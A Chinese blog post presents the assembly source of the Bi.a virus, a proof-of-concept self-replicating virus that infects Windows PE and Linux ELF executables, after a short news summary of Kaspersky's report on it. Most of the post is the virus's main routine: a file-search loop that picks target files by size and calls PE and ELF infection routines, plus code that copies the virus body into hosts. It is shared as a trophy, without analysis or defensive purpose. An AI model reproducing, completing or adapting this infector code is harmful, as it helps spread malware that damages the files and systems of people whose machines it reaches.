今天终于找到bi跨平台病毒的源码了-优快云博客

2006年04月09日16:27

　　CNET报道－－俄罗斯反病毒软件卡巴斯基透露，他们获得一种新病毒标本，能够同时感染Windows以及Linux操作系统。

　　这种新病毒暂命名为Bi.a，采用低级计算机语言“assembler”编写，目前仅能够感染当前目录下文件，不过，其感染文件范围将包含Linux以及Windows系统下的不同格式－－ELF以及PE。

　　目前该病毒仅为典型概念型标本，编写目的仅为证实是否真的能够创造跨平台病毒，卡巴斯基表示，“不过，我们的经验透露，一旦该病毒标本被病毒编写者们获得，将很快被利用以及借鉴，创造出大量跨平台病毒变种。”

　　“虽然目前Bi.a本身并不危险，但是其背后潜力惊人的跨平台病毒领域将在未来迅速崛起，成为安全关注焦点。”

　　卡巴斯基已经在其反病毒数据库中加入该病毒探测代码

;= Virus Main Procedure (c) 2006 JPanic ===================================
;
; The main virus routine.
;
; PUBLICS:
; VMain()
; dwOrigEIP DWORD
;
;= Directive Warez ========================================================

.486
locals @@
.model flat

_VMAIN_ASM EQU TRUE

include inc/win32.inc
include inc/short.inc
include inc/stack.inc
include inc/elf.inc
include vmain.ash
include osprocs.ash
include inf-pe.ash
include inf-elf.ash

;= Code Warez =============================================================
include codeseg.ash
;= VMain ==================================================================
; Outputs:
; None.
;
;--------------------------------------------------------------------------
PUBLIC VMain
PUBLIC dwOrigEIP

VMain   PROC

   push L 1234h
   org $-4
dwOrigEIP dd offset VHost
   pushf
   pushad
   cld
   call @@delta
  @@delta:pop ebx
   sub esp,size _VirusHeap
   lea ebp,[esp+7Fh]
   sub ebx,(ofs @@delta - ofs VMain)
   mov [vheap.dwVirusDelta],ebx
   call Fill_Proc_Table
   call dwo [vheap.dwVInit]
   jb @@exit
   call dwo [vheap.dwVFindFirst]
  @@FindLoop: jc @@exit
    mov [vheap.dwFileSize],ecx
    jecxz @@FindNext
                                ;bsr   eax,ecx
                                db      0Fh,0BDh,0C1h
    cmp al,12  ; 4k min
    jb @@FindNext
    cmp al,22  ; 4mb max
    jae @@FindNext
    call dwo [vheap.dwVOpenFile]
    jc @@FindNext
    xchg eax,ebx
    call IsImagePE
    .if ZERO?
     call InfectPE
    .else
     cmp dwo [ebx],ELF_MAGIC
     .if ZERO?
      call InfectELF
     .endif
    .endif
    call dwo [vheap.dwVCloseFile]
   @@FindNext:
    call dwo [vheap.dwVFindNext]
    jmp @@FindLoop
   @@FindDone:
   call dwo [vheap.dwVFindClose]
  @@exit: lea esp,[ebp + size _VirusHeap - 07Fh]
   popad
   popf
   ret

VMain   ENDP

;--------------------------------------------------------------------------
PUBLIC BuildVBody

BuildVBody              PROC
                        ; Copy virus, Set dwOrigEIP=eax, OS_Proc_Switch=dl
   push edi             ; Save new virus body offset.
   mov ecx,VSize
   mov esi,dwo [vheap.dwVirusDelta]
   rep movsb
   pop esi             ; ESI = virus body
   ; Correct Virus Image.
   mov dwo [esi+1],eax
   mov by [(esi-VCode).OS_Proc_Switch],dl
                        ret

BuildVBody ENDP

;==========================================================================
; Text Strings
                        db      VName," (c) 2006 JPanic:",0Dh,0Ah
                        db      "This is Sepultura signing off...",0Dh,0Ah
                        db      "This is The Soul Manager saying goodbye...",0Dh,0Ah
                        db      "Greetz to: Immortal Riot, #RuxCon!",0

;==========================================================================
ENDS
END VMain
;==========================================================================